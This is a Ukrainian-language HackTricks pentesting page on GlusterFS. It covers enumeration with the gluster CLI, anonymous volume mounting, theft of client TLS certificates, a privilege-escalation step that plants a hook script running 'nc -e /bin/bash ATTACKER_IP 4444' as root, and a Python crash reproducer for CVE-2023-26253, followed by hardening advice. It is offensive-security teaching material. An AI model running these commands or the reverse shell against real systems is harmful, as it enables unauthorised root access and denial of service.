24007-24008-24009-49152 - Pentesting GlusterFS
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Basic Information
GlusterFS - це розподілена файлова система, яка об'єднує зберігання з кількох серверів в один уніфікований простір імен. Демон управління (glusterd
) за замовчуванням слухає на 24007/TCP і інструктує цеглини даних, які починаються з 49152/TCP (один порт на цеглину, з інкрементом). Версії до 9.x використовували 24008–24009/TCP для транспорту цеглин, тому ви все ще зустрінете ці порти в спадкових кластерах.
PORT STATE SERVICE VERSION
24007/tcp open glusterd GlusterFS (RPC)
49152/tcp open gluster-brick SSL (TLS optional)
Порада: 24007 відповідає на RPC виклики, навіть коли вузли лише для зберігання не експортують жодного обсягу; отже, сервіс є надійною ціллю для півотування в великих інфраструктурах.
Перерахування
Встановіть клієнтські утиліти на вашій атакуючій машині:
sudo apt install -y glusterfs-cli glusterfs-client # Debian/Ubuntu
- Виявлення пір та стан
# List peers (works without authentication in default setups)
gluster --remote-host 10.10.11.131 peer status
- Розвідка обсягу
# Retrieve the list of all volumes and their configuration
gluster --remote-host 10.10.11.131 volume info all
- Монтувати без привілеїв
sudo mount -t glusterfs 10.10.11.131:/<vol_name> /mnt/gluster
Якщо монтування не вдається, перевірте /var/log/glusterfs/<vol_name>-<uid>.log
на стороні клієнта. Загальні проблеми:
- Примус TLS (
option transport.socket.ssl on
) - Контроль доступу на основі адреси (
option auth.allow <cidr>
)
Виправлення сертифікатів
Викрадіть наступні файли з будь-якого авторизованого вузла клієнта та помістіть їх у /etc/ssl/
(або в каталог, вказаний у журналі помилок):
/etc/ssl/glusterfs.pem
/etc/ssl/glusterfs.key
/etc/ssl/glusterfs.ca
Відомі вразливості (2022-2025)
CVE | Підприємства версії | Вплив | Примітки |
---|---|---|---|
CVE-2022-48340 | 10.0–10.4, 11.0 | Використання після звільнення в dht_setxattr_mds_cbk , доступне через мережу | Віддалений DoS та ймовірний RCE. Виправлено в 10.4.1 / 11.1. |
CVE-2023-26253 | < 11.0 | Читання за межами буфера в обробнику сповіщень FUSE | Віддалений збій через спеціально підготовлені операції FS; доступний публічний PoC. |
CVE-2023-3775 | < 10.5 / 11.1 | Неправильна перевірка дозволів при монтуванні gluster_shared_storage | Дозволяє будь-якому неавтентифікованому клієнту монтувати об'єм адміністратора – призводить до priv-esc, пояснено нижче. |
Завжди перевіряйте
gluster --version
на кожному вузлі; гетерогенні кластери є звичайними після часткових оновлень.
Експлуатація gluster_shared_storage
(Ескалація привілеїв)
Навіть у нових версіях багато адміністраторів залишають спеціальний об'єм gluster_shared_storage
доступним для читання всім, оскільки це спрощує гео-реплікацію. Об'єм містить шаблони cronjob, які виконуються з root на кожному вузлі.
# 1. Mount admin volume anonymously
mkdir /tmp/gss && sudo mount -t glusterfs 10.10.11.131:/gluster_shared_storage /tmp/gss
# 2. Drop malicious script that gets synchronised cluster-wide
cat <<'EOF' > /tmp/gss/hooks/1/start/post/test.sh
#!/bin/bash
nc -e /bin/bash ATTACKER_IP 4444 &
EOF
chmod +x /tmp/gss/hooks/1/start/post/test.sh
# 3. Wait until glusterd distributes the hook and executes it as root
Якщо hooks/1/
не присутній, шукайте /ss_bricks/
– точний шлях може змінюватися в залежності від основної версії.
Denial-of-Service PoC (CVE-2023-26253)
#!/usr/bin/env python3
# Minimal reproducer: sends malformed NOTIFY_REPLY XDR frame to 24007
import socket, xdrlib, struct
p = xdrlib.Packer(); p.pack_uint(0xdeadbeef)
with socket.create_connection(("10.10.11.131",24007)) as s:
s.send(struct.pack("!L", len(p.get_buffer())|0x80000000))
s.send(p.get_buffer())
Запуск скрипта призводить до аварійного завершення glusterfsd
< 11.0.
Укріплення та виявлення
- Оновлення – поточна LTS версія 11.1 (липень 2025). Всі CVE вище виправлені.
- Увімкніть TLS для кожного блоку:
gluster volume set <vol> transport.socket.ssl on
gluster volume set <vol> transport.socket.ssl-cert /etc/ssl/glusterfs.pem
- Обмежте клієнтів за допомогою списків CIDR:
gluster volume set <vol> auth.allow 10.0.0.0/24
- Відкрийте порт управління 24007 лише на приватному VLAN або через SSH тунелі.
- Слідкуйте за журналами:
tail -f /var/log/glusterfs/glusterd.log
та налаштуйте функцію audit-log (volume set <vol> features.audit-log on
).
Посилання
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.